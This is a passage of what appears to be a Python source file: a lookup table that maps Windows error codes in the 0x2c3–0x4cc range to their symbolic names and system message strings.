\"{Machine Type Mismatch}\"),\n        0x000002c3: (\"ERROR_RECEIVE_PARTIAL\", \"{Partial Data Received}\"),\n        0x000002c4: (\"ERROR_RECEIVE_EXPEDITED\", \"{Expedited Data Received}\"),\n        0x000002c5: (\"ERROR_RECEIVE_PARTIAL_EXPEDITED\", \"{Partial Expedited Data Received}\"),\n        0x000002c6: (\"ERROR_EVENT_DONE\", \"{TDI Event Done}\"),\n        0x000002c7: (\"ERROR_EVENT_PENDING\", \"{TDI Event Pending}\"),\n        0x000002c8: (\"ERROR_CHECKING_FILE_SYSTEM\", \"Checking file system on %wZ\"),\n        0x000002c9: (\"ERROR_FATAL_APP_EXIT\", \"{Fatal Application Exit}\"),\n        0x000002ca: (\"ERROR_PREDEFINED_HANDLE\", \"The specified registry key is referenced by a predefined handle.\"),\n        0x000002cb: (\"ERROR_WAS_UNLOCKED\", \"{Page Unlocked}\"),\n        0x000002cc: (\"ERROR_SERVICE_NOTIFICATION\", \"%hs\"),\n        0x000002cd: (\"ERROR_WAS_LOCKED\", \"{Page Locked}\"),\n        0x000002ce: (\"ERROR_LOG_HARD_ERROR\", \"Application popup: %1 : %2\"),\n        0x000002cf: (\"ERROR_ALREADY_WIN32\", \" ERROR_ALREADY_WIN32\"),\n        0x000002d0: (\"ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE\", \"{Machine Type Mismatch}\"),\n        0x000002d1: (\"ERROR_NO_YIELD_PERFORMED\", \"A yield execution was performed and no thread was available to run.\"),\n        0x000002d2: (\"ERROR_TIMER_RESUME_IGNORED\", \"The resumable flag to a timer API was ignored.\"),\n        0x000002d3: (\"ERROR_ARBITRATION_UNHANDLED\", \"The arbiter has deferred arbitration of these resources to its parent\"),\n        0x000002d4: (\"ERROR_CARDBUS_NOT_SUPPORTED\", \"The inserted CardBus device cannot be started because of a configuration error on '%hs'.\"),\n        0x000002d5: (\"ERROR_MP_PROCESSOR_MISMATCH\", \"The CPUs in this multiprocessor system are not all the same revision level. To use all processors the operating system restricts itself to the features of the least capable processor in the system. Should problems occur with this system, contact the CPU manufacturer to see if this mix of processors is supported.\"),\n        0x000002d6: (\"ERROR_HIBERNATED\", \"The system was put into hibernation.\"),\n        0x000002d7: (\"ERROR_RESUME_HIBERNATION\", \"The system was resumed from hibernation.\"),\n        0x000002d8: (\"ERROR_FIRMWARE_UPDATED\", \"Windows has detected that the system firmware (BIOS) was updated [previous firmware date = %2, current firmware date %3].\"),\n        0x000002d9: (\"ERROR_DRIVERS_LEAKING_LOCKED_PAGES\", \"A device driver is leaking locked I/O pages causing system degradation. The system has automatically enabled tracking code in order to try and catch the culprit.\"),\n        0x000002da: (\"ERROR_WAKE_SYSTEM\", \"The system has awoken\"),\n        0x000002db: (\"ERROR_WAIT_1\", \" ERROR_WAIT_1\"),\n        0x000002dc: (\"ERROR_WAIT_2\", \" ERROR_WAIT_2\"),\n        0x000002dd: (\"ERROR_WAIT_3\", \" ERROR_WAIT_3\"),\n        0x000002de: (\"ERROR_WAIT_63\", \" ERROR_WAIT_63\"),\n        0x000002df: (\"ERROR_ABANDONED_WAIT_0\", \" ERROR_ABANDONED_WAIT_0\"),\n        0x000002e0: (\"ERROR_ABANDONED_WAIT_63\", \" ERROR_ABANDONED_WAIT_63\"),\n        0x000002e1: (\"ERROR_USER_APC\", \" ERROR_USER_APC\"),\n        0x000002e2: (\"ERROR_KERNEL_APC\", \" ERROR_KERNEL_APC\"),\n        0x000002e3: (\"ERROR_ALERTED\", \" ERROR_ALERTED\"),\n        0x000002e4: (\"ERROR_ELEVATION_REQUIRED\", \"The requested operation requires elevation.\"),\n        0x000002e5: (\"ERROR_REPARSE\", \"A reparse should be performed by the Object Manager since the name of the file resulted in a symbolic link.\"),\n        0x000002e6: (\"ERROR_OPLOCK_BREAK_IN_PROGRESS\", \"An open/create operation completed while an oplock break is underway.\"),\n        0x000002e7: (\"ERROR_VOLUME_MOUNTED\", \"A new volume has been mounted by a file system.\"),\n        0x000002e8: (\"ERROR_RXACT_COMMITTED\", \"This success level status indicates that the transaction state already exists for the registry sub-tree, but that a transaction commit was previously aborted.\"),\n        0x000002e9: (\"ERROR_NOTIFY_CLEANUP\", \"This indicates that a notify change request has been completed due to closing the handle which made the notify change request.\"),\n        0x000002ea: (\"ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED\", \"{Connect Failure on Primary Transport}\"),\n        0x000002eb: (\"ERROR_PAGE_FAULT_TRANSITION\", \"Page fault was a transition fault.\"),\n        0x000002ec: (\"ERROR_PAGE_FAULT_DEMAND_ZERO\", \"Page fault was a demand zero fault.\"),\n        0x000002ed: (\"ERROR_PAGE_FAULT_COPY_ON_WRITE\", \"Page fault was a demand zero fault.\"),\n        0x000002ee: (\"ERROR_PAGE_FAULT_GUARD_PAGE\", \"Page fault was a demand zero fault.\"),\n        0x000002ef: (\"ERROR_PAGE_FAULT_PAGING_FILE\", \"Page fault was satisfied by reading from a secondary storage device.\"),\n        0x000002f0: (\"ERROR_CACHE_PAGE_LOCKED\", \"Cached page was locked during operation.\"),\n        0x000002f1: (\"ERROR_CRASH_DUMP\", \"Crash dump exists in paging file.\"),\n        0x000002f2: (\"ERROR_BUFFER_ALL_ZEROS\", \"Specified buffer contains all zeros.\"),\n        0x000002f3: (\"ERROR_REPARSE_OBJECT\", \"A reparse should be performed by the Object Manager since the name of the file resulted in a symbolic link.\"),\n        0x000002f4: (\"ERROR_RESOURCE_REQUIREMENTS_CHANGED\", \"The device has succeeded a query-stop and its resource requirements have changed.\"),\n        0x000002f5: (\"ERROR_TRANSLATION_COMPLETE\", \"The translator has translated these resources into the global space and no further translations should be performed.\"),\n        0x000002f6: (\"ERROR_NOTHING_TO_TERMINATE\", \"A process being terminated has no threads to terminate.\"),\n        0x000002f7: (\"ERROR_PROCESS_NOT_IN_JOB\", \"The specified process is not part of a job.\"),\n        0x000002f8: (\"ERROR_PROCESS_IN_JOB\", \"The specified process is part of a job.\"),\n        0x000002f9: (\"ERROR_VOLSNAP_HIBERNATE_READY\", \"{Volume Shadow Copy Service}\"),\n        0x000002fa: (\"ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY\", \"A file system or file system filter driver has successfully completed an FsFilter operation.\"),\n        0x000002fb: (\"ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED\", \"The specified interrupt vector was already connected.\"),\n        0x000002fc: (\"ERROR_INTERRUPT_STILL_CONNECTED\", \"The specified interrupt vector is still connected.\"),\n        0x000002fd: (\"ERROR_WAIT_FOR_OPLOCK\", \"An operation is blocked waiting for an oplock.\"),\n        0x000002fe: (\"ERROR_DBG_EXCEPTION_HANDLED\", \"Debugger handled exception\"),\n        0x000002ff: (\"ERROR_DBG_CONTINUE\", \"Debugger continued\"),\n        0x00000300: (\"ERROR_CALLBACK_POP_STACK\", \"An exception occurred in a user mode callback and the kernel callback frame should be removed.\"),\n        0x00000301: (\"ERROR_COMPRESSION_DISABLED\", \"Compression is disabled for this volume.\"),\n        0x00000302: (\"ERROR_CANTFETCHBACKWARDS\", \"The data provider cannot fetch backwards through a result set.\"),\n        0x00000303: (\"ERROR_CANTSCROLLBACKWARDS\", \"The data provider cannot scroll backwards through a result set.\"),\n        0x00000304: (\"ERROR_ROWSNOTRELEASED\", \"The data provider requires that previously fetched data is released before asking for more data.\"),\n        0x00000305: (\"ERROR_BAD_ACCESSOR_FLAGS\", \"The data provider was not able to interpret the flags set for a column binding in an accessor.\"),\n        0x00000306: (\"ERROR_ERRORS_ENCOUNTERED\", \"One or more errors occurred while processing the request.\"),\n        0x00000307: (\"ERROR_NOT_CAPABLE\", \"The implementation is not capable of performing the request.\"),\n        0x00000308: (\"ERROR_REQUEST_OUT_OF_SEQUENCE\", \"The client of a component requested an operation which is not valid given the state of the component instance.\"),\n        0x00000309: (\"ERROR_VERSION_PARSE_ERROR\", \"A version number could not be parsed.\"),\n        0x0000030a: (\"ERROR_BADSTARTPOSITION\", \"The iterator's start position is invalid.\"),\n        0x0000030b: (\"ERROR_MEMORY_HARDWARE\", \"The hardware has reported an uncorrectable memory error.\"),\n        0x0000030c: (\"ERROR_DISK_REPAIR_DISABLED\", \"The attempted operation required self healing to be enabled.\"),\n        0x0000030d: (\"ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE\", \"The Desktop heap encountered an error while allocating session memory. There is more information in the system event log.\"),\n        0x0000030e: (\"ERROR_SYSTEM_POWERSTATE_TRANSITION\", \"The system power state is transitioning from %2 to %3.\"),\n        0x0000030f: (\"ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION\", \"The system power state is transitioning from %2 to %3 but could enter %4.\"),\n        0x00000310: (\"ERROR_MCA_EXCEPTION\", \"A thread is getting dispatched with MCA EXCEPTION because of MCA.\"),\n        0x00000311: (\"ERROR_ACCESS_AUDIT_BY_POLICY\", \"Access to %1 is monitored by policy rule %2.\"),\n        0x00000312: (\"ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY\", \"Access to %1 has been restricted by your Administrator by policy rule %2.\"),\n        0x00000313: (\"ERROR_ABANDON_HIBERFILE\", \"A valid hibernation file has been invalidated and should be abandoned.\"),\n        0x00000314: (\"ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED\", \"{Delayed Write Failed}\"),\n        0x00000315: (\"ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR\", \"{Delayed Write Failed}\"),\n        0x00000316: (\"ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR\", \"{Delayed Write Failed}\"),\n        0x00000317: (\"ERROR_BAD_MCFG_TABLE\", \"The resources required for this device conflict with the MCFG table.\"),\n        0x00000318: (\"ERROR_DISK_REPAIR_REDIRECTED\", \"The volume repair could not be performed while it is online.\"),\n        0x00000319: (\"ERROR_DISK_REPAIR_UNSUCCESSFUL\", \"The volume repair was not successful.\"),\n        0x0000031a: (\"ERROR_CORRUPT_LOG_OVERFULL\", \"One of the volume corruption logs is full. Further corruptions that may be detected won't be logged.\"),\n        0x0000031b: (\"ERROR_CORRUPT_LOG_CORRUPTED\", \"One of the volume corruption logs is internally corrupted and needs to be recreated. The volume may contain undetected corruptions and must be scanned.\"),\n        0x0000031c: (\"ERROR_CORRUPT_LOG_UNAVAILABLE\", \"One of the volume corruption logs is unavailable for being operated on.\"),\n        0x0000031d: (\"ERROR_CORRUPT_LOG_DELETED_FULL\", \"One of the volume corruption logs was deleted while still having corruption records in them. The volume contains detected corruptions and must be scanned.\"),\n        0x0000031e: (\"ERROR_CORRUPT_LOG_CLEARED\", \"One of the volume corruption logs was cleared by chkdsk and no longer contains real corruptions.\"),\n        0x0000031f: (\"ERROR_ORPHAN_NAME_EXHAUSTED\", \"Orphaned files exist on the volume but could not be recovered because no more new names could be created in the recovery directory. Files must be moved from the recovery directory.\"),\n        0x00000320: (\"ERROR_OPLOCK_SWITCHED_TO_NEW_HANDLE\", \"The oplock that was associated with this handle is now associated with a different handle.\"),\n        0x00000321: (\"ERROR_CANNOT_GRANT_REQUESTED_OPLOCK\", \"An oplock of the requested level cannot be granted.  An oplock of a lower level may be available.\"),\n        0x00000322: (\"ERROR_CANNOT_BREAK_OPLOCK\", \"The operation did not complete successfully because it would cause an oplock to be broken. The caller has requested that existing oplocks not be broken.\"),\n        0x00000323: (\"ERROR_OPLOCK_HANDLE_CLOSED\", \"The handle with which this oplock was associated has been closed.  The oplock is now broken.\"),\n        0x00000324: (\"ERROR_NO_ACE_CONDITION\", \"The specified access control entry (ACE) does not contain a condition.\"),\n        0x00000325: (\"ERROR_INVALID_ACE_CONDITION\", \"The specified access control entry (ACE) contains an invalid condition.\"),\n        0x00000326: (\"ERROR_FILE_HANDLE_REVOKED\", \"Access to the specified file handle has been revoked.\"),\n        0x00000327: (\"ERROR_IMAGE_AT_DIFFERENT_BASE\", \"{Image Relocated}\"),\n        0x000003e2: (\"ERROR_EA_ACCESS_DENIED\", \"Access to the extended attribute was denied.\"),\n        0x000003e3: (\"ERROR_OPERATION_ABORTED\", \"The I/O operation has been aborted because of either a thread exit or an application request.\"),\n        0x000003e4: (\"ERROR_IO_INCOMPLETE\", \"Overlapped I/O event is not in a signaled state.\"),\n        0x000003e5: (\"ERROR_IO_PENDING\", \"Overlapped I/O operation is in progress.\"),\n        0x000003e6: (\"ERROR_NOACCESS\", \"Invalid access to memory location.\"),\n        0x000003e7: (\"ERROR_SWAPERROR\", \"Error performing inpage operation.\"),\n        0x000003e9: (\"ERROR_STACK_OVERFLOW\", \"Recursion too deep; the stack overflowed.\"),\n        0x000003ea: (\"ERROR_INVALID_MESSAGE\", \"The window cannot act on the sent message.\"),\n        0x000003eb: (\"ERROR_CAN_NOT_COMPLETE\", \"Cannot complete this function.\"),\n        0x000003ec: (\"ERROR_INVALID_FLAGS\", \"Invalid flags.\"),\n        0x000003ed: (\"ERROR_UNRECOGNIZED_VOLUME\", \"The volume does not contain a recognized file system.\"),\n        0x000003ee: (\"ERROR_FILE_INVALID\", \"The volume for a file has been externally altered so that the opened file is no longer valid.\"),\n        0x000003ef: (\"ERROR_FULLSCREEN_MODE\", \"The requested operation cannot be performed in full-screen mode.\"),\n        0x000003f0: (\"ERROR_NO_TOKEN\", \"An attempt was made to reference a token that does not exist.\"),\n        0x000003f1: (\"ERROR_BADDB\", \"The configuration registry database is corrupt.\"),\n        0x000003f2: (\"ERROR_BADKEY\", \"The configuration registry key is invalid.\"),\n        0x000003f3: (\"ERROR_CANTOPEN\", \"The configuration registry key could not be opened.\"),\n        0x000003f4: (\"ERROR_CANTREAD\", \"The configuration registry key could not be read.\"),\n        0x000003f5: (\"ERROR_CANTWRITE\", \"The configuration registry key could not be written.\"),\n        0x000003f6: (\"ERROR_REGISTRY_RECOVERED\", \"One of the files in the registry database had to be recovered by use of a log or alternate copy. The recovery was successful.\"),\n        0x000003f7: (\"ERROR_REGISTRY_CORRUPT\", \"The registry is corrupted. The structure of one of the files containing registry data is corrupted, or the system's memory image of the file is corrupted, or the file could not be recovered because the alternate copy or log was absent or corrupted.\"),\n        0x000003f8: (\"ERROR_REGISTRY_IO_FAILED\", \"An I/O operation initiated by the registry failed unrecoverably. The registry could not read in, or write out, or flush, one of the files that contain the system's image of the registry.\"),\n        0x000003f9: (\"ERROR_NOT_REGISTRY_FILE\", \"The system has attempted to load or restore a file into the registry, but the specified file is not in a registry file format.\"),\n        0x000003fa: (\"ERROR_KEY_DELETED\", \"Illegal operation attempted on a registry key that has been marked for deletion.\"),\n        0x000003fb: (\"ERROR_NO_LOG_SPACE\", \"System could not allocate the required space in a registry log.\"),\n        0x000003fc: (\"ERROR_KEY_HAS_CHILDREN\", \"Cannot create a symbolic link in a registry key that already has subkeys or values.\"),\n        0x000003fd: (\"ERROR_CHILD_MUST_BE_VOLATILE\", \"Cannot create a stable subkey under a volatile parent key.\"),\n        0x000003fe: (\"ERROR_NOTIFY_ENUM_DIR\", \"A notify change request is being completed and the information is not being returned in the caller's buffer. The caller now needs to enumerate the files to find the changes.\"),\n        0x0000041b: (\"ERROR_DEPENDENT_SERVICES_RUNNING\", \"A stop control has been sent to a service that other running services are dependent on.\"),\n        0x0000041c: (\"ERROR_INVALID_SERVICE_CONTROL\", \"The requested control is not valid for this service.\"),\n        0x0000041d: (\"ERROR_SERVICE_REQUEST_TIMEOUT\", \"The service did not respond to the start or control request in a timely fashion.\"),\n        0x0000041e: (\"ERROR_SERVICE_NO_THREAD\", \"A thread could not be created for the service.\"),\n        0x0000041f: (\"ERROR_SERVICE_DATABASE_LOCKED\", \"The service database is locked.\"),\n        0x00000420: (\"ERROR_SERVICE_ALREADY_RUNNING\", \"An instance of the service is already running.\"),\n        0x00000421: (\"ERROR_INVALID_SERVICE_ACCOUNT\", \"The account name is invalid or does not exist, or the password is invalid for the account name specified.\"),\n        0x00000422: (\"ERROR_SERVICE_DISABLED\", \"The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.\"),\n        0x00000423: (\"ERROR_CIRCULAR_DEPENDENCY\", \"Circular service dependency was specified.\"),\n        0x00000424: (\"ERROR_SERVICE_DOES_NOT_EXIST\", \"The specified service does not exist as an installed service.\"),\n        0x00000425: (\"ERROR_SERVICE_CANNOT_ACCEPT_CTRL\", \"The service cannot accept control messages at this time.\"),\n        0x00000426: (\"ERROR_SERVICE_NOT_ACTIVE\", \"The service has not been started.\"),\n        0x00000427: (\"ERROR_FAILED_SERVICE_CONTROLLER_CONNECT\", \"The service process could not connect to the service controller.\"),\n        0x00000428: (\"ERROR_EXCEPTION_IN_SERVICE\", \"An exception occurred in the service when handling the control request.\"),\n        0x00000429: (\"ERROR_DATABASE_DOES_NOT_EXIST\", \"The database specified does not exist.\"),\n        0x0000042a: (\"ERROR_SERVICE_SPECIFIC_ERROR\", \"The service has returned a service-specific error code.\"),\n        0x0000042b: (\"ERROR_PROCESS_ABORTED\", \"The process terminated unexpectedly.\"),\n        0x0000042c: (\"ERROR_SERVICE_DEPENDENCY_FAIL\", \"The dependency service or group failed to start.\"),\n        0x0000042d: (\"ERROR_SERVICE_LOGON_FAILED\", \"The service did not start due to a logon failure.\"),\n        0x0000042e: (\"ERROR_SERVICE_START_HANG\", \"After starting, the service hung in a start-pending state.\"),\n        0x0000042f: (\"ERROR_INVALID_SERVICE_LOCK\", \"The specified service database lock is invalid.\"),\n        0x00000430: (\"ERROR_SERVICE_MARKED_FOR_DELETE\", \"The specified service has been marked for deletion.\"),\n        0x00000431: (\"ERROR_SERVICE_EXISTS\", \"The specified service already exists.\"),\n        0x00000432: (\"ERROR_ALREADY_RUNNING_LKG\", \"The system is currently running with the last-known-good configuration.\"),\n        0x00000433: (\"ERROR_SERVICE_DEPENDENCY_DELETED\", \"The dependency service does not exist or has been marked for deletion.\"),\n        0x00000434: (\"ERROR_BOOT_ALREADY_ACCEPTED\", \"The current boot has already been accepted for use as the last-known-good control set.\"),\n        0x00000435: (\"ERROR_SERVICE_NEVER_STARTED\", \"No attempts to start the service have been made since the last boot.\"),\n        0x00000436: (\"ERROR_DUPLICATE_SERVICE_NAME\", \"The name is already in use as either a service name or a service display name.\"),\n        0x00000437: (\"ERROR_DIFFERENT_SERVICE_ACCOUNT\", \"The account specified for this service is different from the account specified for other services running in the same process.\"),\n        0x00000438: (\"ERROR_CANNOT_DETECT_DRIVER_FAILURE\", \"Failure actions can only be set for Win32 services, not for drivers.\"),\n        0x00000439: (\"ERROR_CANNOT_DETECT_PROCESS_ABORT\", \"This service runs in the same process as the service control manager.\"),\n        0x0000043a: (\"ERROR_NO_RECOVERY_PROGRAM\", \"No recovery program has been configured for this service.\"),\n        0x0000043b: (\"ERROR_SERVICE_NOT_IN_EXE\", \"The executable program that this service is configured to run in does not implement the service.\"),\n        0x0000043c: (\"ERROR_NOT_SAFEBOOT_SERVICE\", \"This service cannot be started in Safe Mode\"),\n        0x0000044c: (\"ERROR_END_OF_MEDIA\", \"The physical end of the tape has been reached.\"),\n        0x0000044d: (\"ERROR_FILEMARK_DETECTED\", \"A tape access reached a filemark.\"),\n        0x0000044e: (\"ERROR_BEGINNING_OF_MEDIA\", \"The beginning of the tape or a partition was encountered.\"),\n        0x0000044f: (\"ERROR_SETMARK_DETECTED\", \"A tape access reached the end of a set of files.\"),\n        0x00000450: (\"ERROR_NO_DATA_DETECTED\", \"No more data is on the tape.\"),\n        0x00000451: (\"ERROR_PARTITION_FAILURE\", \"Tape could not be partitioned.\"),\n        0x00000452: (\"ERROR_INVALID_BLOCK_LENGTH\", \"When accessing a new tape of a multivolume partition, the current block size is incorrect.\"),\n        0x00000453: (\"ERROR_DEVICE_NOT_PARTITIONED\", \"Tape partition information could not be found when loading a tape.\"),\n        0x00000454: (\"ERROR_UNABLE_TO_LOCK_MEDIA\", \"Unable to lock the media eject mechanism.\"),\n        0x00000455: (\"ERROR_UNABLE_TO_UNLOAD_MEDIA\", \"Unable to unload the media.\"),\n        0x00000456: (\"ERROR_MEDIA_CHANGED\", \"The media in the drive may have changed.\"),\n        0x00000457: (\"ERROR_BUS_RESET\", \"The I/O bus was reset.\"),\n        0x00000458: (\"ERROR_NO_MEDIA_IN_DRIVE\", \"No media in drive.\"),\n        0x00000459: (\"ERROR_NO_UNICODE_TRANSLATION\", \"No mapping for the Unicode character exists in the target multi-byte code page.\"),\n        0x0000045a: (\"ERROR_DLL_INIT_FAILED\", \"A dynamic link library (DLL) initialization routine failed.\"),\n        0x0000045b: (\"ERROR_SHUTDOWN_IN_PROGRESS\", \"A system shutdown is in progress.\"),\n        0x0000045c: (\"ERROR_NO_SHUTDOWN_IN_PROGRESS\", \"Unable to abort the system shutdown because no shutdown was in progress.\"),\n        0x0000045d: (\"ERROR_IO_DEVICE\", \"The request could not be performed because of an I/O device error.\"),\n        0x0000045e: (\"ERROR_SERIAL_NO_DEVICE\", \"No serial device was successfully initialized. The serial driver will unload.\"),\n        0x0000045f: (\"ERROR_IRQ_BUSY\", \"Unable to open a device that was sharing an interrupt request (IRQ) with other devices. At least one other device that uses that IRQ was already opened.\"),\n        0x00000460: (\"ERROR_MORE_WRITES\", \"A serial I/O operation was completed by another write to the serial port.\"),\n        0x00000461: (\"ERROR_COUNTER_TIMEOUT\", \"A serial I/O operation completed because the timeout period expired.\"),\n        0x00000462: (\"ERROR_FLOPPY_ID_MARK_NOT_FOUND\", \"No ID address mark was found on the floppy disk.\"),\n        0x00000463: (\"ERROR_FLOPPY_WRONG_CYLINDER\", \"Mismatch between the floppy disk sector ID field and the floppy disk controller track address.\"),\n        0x00000464: (\"ERROR_FLOPPY_UNKNOWN_ERROR\", \"The floppy disk controller reported an error that is not recognized by the floppy disk driver.\"),\n        0x00000465: (\"ERROR_FLOPPY_BAD_REGISTERS\", \"The floppy disk controller returned inconsistent results in its registers.\"),\n        0x00000466: (\"ERROR_DISK_RECALIBRATE_FAILED\", \"While accessing the hard disk, a recalibrate operation failed, even after retries.\"),\n        0x00000467: (\"ERROR_DISK_OPERATION_FAILED\", \"While accessing the hard disk, a disk operation failed even after retries.\"),\n        0x00000468: (\"ERROR_DISK_RESET_FAILED\", \"While accessing the hard disk, a disk controller reset was needed, but even that failed.\"),\n        0x00000469: (\"ERROR_EOM_OVERFLOW\", \"Physical end of tape encountered.\"),\n        0x0000046a: (\"ERROR_NOT_ENOUGH_SERVER_MEMORY\", \"Not enough server storage is available to process this command.\"),\n        0x0000046b: (\"ERROR_POSSIBLE_DEADLOCK\", \"A potential deadlock condition has been detected.\"),\n        0x0000046c: (\"ERROR_MAPPED_ALIGNMENT\", \"The base address or the file offset specified does not have the proper alignment.\"),\n        0x00000474: (\"ERROR_SET_POWER_STATE_VETOED\", \"An attempt to change the system power state was vetoed by another application or driver.\"),\n        0x00000475: (\"ERROR_SET_POWER_STATE_FAILED\", \"The system BIOS failed an attempt to change the system power state.\"),\n        0x00000476: (\"ERROR_TOO_MANY_LINKS\", \"An attempt was made to create more links on a file than the file system supports.\"),\n        0x0000047e: (\"ERROR_OLD_WIN_VERSION\", \"The specified program requires a newer version of Windows.\"),\n        0x0000047f: (\"ERROR_APP_WRONG_OS\", \"The specified program is not a Windows or MS-DOS program.\"),\n        0x00000480: (\"ERROR_SINGLE_INSTANCE_APP\", \"Cannot start more than one instance of the specified program.\"),\n        0x00000481: (\"ERROR_RMODE_APP\", \"The specified program was written for an earlier version of Windows.\"),\n        0x00000482: (\"ERROR_INVALID_DLL\", \"One of the library files needed to run this application is damaged.\"),\n        0x00000483: (\"ERROR_NO_ASSOCIATION\", \"No application is associated with the specified file for this operation.\"),\n        0x00000484: (\"ERROR_DDE_FAIL\", \"An error occurred in sending the command to the application.\"),\n        0x00000485: (\"ERROR_DLL_NOT_FOUND\", \"One of the library files needed to run this application cannot be found.\"),\n        0x00000486: (\"ERROR_NO_MORE_USER_HANDLES\", \"The current process has used all of its system allowance of handles for Window Manager objects.\"),\n        0x00000487: (\"ERROR_MESSAGE_SYNC_ONLY\", \"The message can be used only with synchronous operations.\"),\n        0x00000488: (\"ERROR_SOURCE_ELEMENT_EMPTY\", \"The indicated source element has no media.\"),\n        0x00000489: (\"ERROR_DESTINATION_ELEMENT_FULL\", \"The indicated destination element already contains media.\"),\n        0x0000048a: (\"ERROR_ILLEGAL_ELEMENT_ADDRESS\", \"The indicated element does not exist.\"),\n        0x0000048b: (\"ERROR_MAGAZINE_NOT_PRESENT\", \"The indicated element is part of a magazine that is not present.\"),\n        0x0000048c: (\"ERROR_DEVICE_REINITIALIZATION_NEEDED\", \"The indicated device requires reinitialization due to hardware errors.\"),\n        0x0000048d: (\"ERROR_DEVICE_REQUIRES_CLEANING\", \"The device has indicated that cleaning is required before further operations are attempted.\"),\n        0x0000048e: (\"ERROR_DEVICE_DOOR_OPEN\", \"The device has indicated that its door is open.\"),\n        0x0000048f: (\"ERROR_DEVICE_NOT_CONNECTED\", \"The device is not connected.\"),\n        0x00000490: (\"ERROR_NOT_FOUND\", \"Element not found.\"),\n        0x00000491: (\"ERROR_NO_MATCH\", \"There was no match for the specified key in the index.\"),\n        0x00000492: (\"ERROR_SET_NOT_FOUND\", \"The property set specified does not exist on the object.\"),\n        0x00000493: (\"ERROR_POINT_NOT_FOUND\", \"The point passed to GetMouseMovePoints is not in the buffer.\"),\n        0x00000494: (\"ERROR_NO_TRACKING_SERVICE\", \"The tracking (workstation) service is not running.\"),\n        0x00000495: (\"ERROR_NO_VOLUME_ID\", \"The Volume ID could not be found.\"),\n        0x00000497: (\"ERROR_UNABLE_TO_REMOVE_REPLACED\", \"Unable to remove the file to be replaced.\"),\n        0x00000498: (\"ERROR_UNABLE_TO_MOVE_REPLACEMENT\", \"Unable to move the replacement file to the file to be replaced. The file to be replaced has retained its original name.\"),\n        0x00000499: (\"ERROR_UNABLE_TO_MOVE_REPLACEMENT_2\", \"Unable to move the replacement file to the file to be replaced. The file to be replaced has been renamed using the backup name.\"),\n        0x0000049a: (\"ERROR_JOURNAL_DELETE_IN_PROGRESS\", \"The volume change journal is being deleted.\"),\n        0x0000049b: (\"ERROR_JOURNAL_NOT_ACTIVE\", \"The volume change journal is not active.\"),\n        0x0000049c: (\"ERROR_POTENTIAL_FILE_FOUND\", \"A file was found, but it may not be the correct file.\"),\n        0x0000049d: (\"ERROR_JOURNAL_ENTRY_DELETED\", \"The journal entry has been deleted from the journal.\"),\n        0x000004a6: (\"ERROR_SHUTDOWN_IS_SCHEDULED\", \"A system shutdown has already been scheduled.\"),\n        0x000004a7: (\"ERROR_SHUTDOWN_USERS_LOGGED_ON\", \"The system shutdown cannot be initiated because there are other users logged on to the computer.\"),\n        0x000004b0: (\"ERROR_BAD_DEVICE\", \"The specified device name is invalid.\"),\n        0x000004b1: (\"ERROR_CONNECTION_UNAVAIL\", \"The device is not currently connected but it is a remembered connection.\"),\n        0x000004b2: (\"ERROR_DEVICE_ALREADY_REMEMBERED\", \"The local device name has a remembered connection to another network resource.\"),\n        0x000004b3: (\"ERROR_NO_NET_OR_BAD_PATH\", \"The network path was either typed incorrectly, does not exist, or the network provider is not currently available. Please try retyping the path or contact your network administrator.\"),\n        0x000004b4: (\"ERROR_BAD_PROVIDER\", \"The specified network provider name is invalid.\"),\n        0x000004b5: (\"ERROR_CANNOT_OPEN_PROFILE\", \"Unable to open the network connection profile.\"),\n        0x000004b6: (\"ERROR_BAD_PROFILE\", \"The network connection profile is corrupted.\"),\n        0x000004b7: (\"ERROR_NOT_CONTAINER\", \"Cannot enumerate a noncontainer.\"),\n        0x000004b8: (\"ERROR_EXTENDED_ERROR\", \"An extended error has occurred.\"),\n        0x000004b9: (\"ERROR_INVALID_GROUPNAME\", \"The format of the specified group name is invalid.\"),\n        0x000004ba: (\"ERROR_INVALID_COMPUTERNAME\", \"The format of the specified computer name is invalid.\"),\n        0x000004bb: (\"ERROR_INVALID_EVENTNAME\", \"The format of the specified event name is invalid.\"),\n        0x000004bc: (\"ERROR_INVALID_DOMAINNAME\", \"The format of the specified domain name is invalid.\"),\n        0x000004bd: (\"ERROR_INVALID_SERVICENAME\", \"The format of the specified service name is invalid.\"),\n        0x000004be: (\"ERROR_INVALID_NETNAME\", \"The format of the specified network name is invalid.\"),\n        0x000004bf: (\"ERROR_INVALID_SHARENAME\", \"The format of the specified share name is invalid.\"),\n        0x000004c0: (\"ERROR_INVALID_PASSWORDNAME\", \"The format of the specified password is invalid.\"),\n        0x000004c1: (\"ERROR_INVALID_MESSAGENAME\", \"The format of the specified message name is invalid.\"),\n        0x000004c2: (\"ERROR_INVALID_MESSAGEDEST\", \"The format of the specified message destination is invalid.\"),\n        0x000004c3: (\"ERROR_SESSION_CREDENTIAL_CONFLICT\", \"Multiple connections to a server or shared resource by the same user, using more than one user name, are not allowed. Disconnect all previous connections to the server or shared resource and try again.\"),\n        0x000004c4: (\"ERROR_REMOTE_SESSION_LIMIT_EXCEEDED\", \"An attempt was made to establish a session to a network server, but there are already too many sessions established to that server.\"),\n        0x000004c5: (\"ERROR_DUP_DOMAINNAME\", \"The workgroup or domain name is already in use by another computer on the network.\"),\n        0x000004c6: (\"ERROR_NO_NETWORK\", \"The network is not present or not started.\"),\n        0x000004c7: (\"ERROR_CANCELLED\", \"The operation was canceled by the user.\"),\n        0x000004c8: (\"ERROR_USER_MAPPED_FILE\", \"The requested operation cannot be performed on a file with a user-mapped section open.\"),\n        0x000004c9: (\"ERROR_CONNECTION_REFUSED\", \"The remote computer refused the network connection.\"),\n        0x000004ca: (\"ERROR_GRACEFUL_DISCONNECT\", \"The network connection was gracefully closed.\"),\n        0x000004cb: (\"ERROR_ADDRESS_ALREADY_ASSOCIATED\", \"The network transport endpoint already has an address associated with it.\"),\n        0x000004cc: (\"ERROR_ADDRESS_NOT_ASSOCIATED\", 